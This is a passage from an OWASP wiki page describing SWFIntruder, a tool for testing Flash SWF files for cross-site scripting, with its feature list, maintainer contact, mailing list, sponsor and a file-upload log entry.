* If some XSS was found, it will be listed in the Xss area click on it to get the result on a new browser window.

== Features and Screenshots ==

* Basic predefined attack patterns.
* Highly customizable attacks.
* Highly customizable undefined variables.
* Semi automated Xss check.
* User congurable internal parameters.
* Log Window for debugging and tracking.
* History of latest 5 tested SWF files.
* ActionScript Objects runtime explorer in tree view.
* Persistent Configuration and Layout.

== Project Contributors ==

The Flash Security project is run by Stefano Di Paola. He can be contacted at '''wisec AT owasp.org'''.

SWFintruder distributions are currently maintained on [[http://code.google.com/p/swfintruder/ Google code]].

If you are interested in volunteering for the project, or have a comment, question, or suggestion, please join the Flash Security

[http://lists.owasp.org/mailman/listinfo/owasp-flash-security mailing list].

== Project Sponsors ==

The SWF Intruder project is sponsored by
[http://www.mindedsecurity.com http://www.owasp.org/images/f/fe/MindedLogo.PNG]

[[Category:OWASP Project]]
[[Category:OWASP Download]]
[[Category:OWASP Tool]]

__NOTOC__

File:SWFIntruderSnapThumb.jpg

2007-12-02T22:58:10Z

Wisec: uploaded a new version of "Image:SWFIntruderSnapThumb.jpg": Reverted to version as of 17:44, 2 December 2007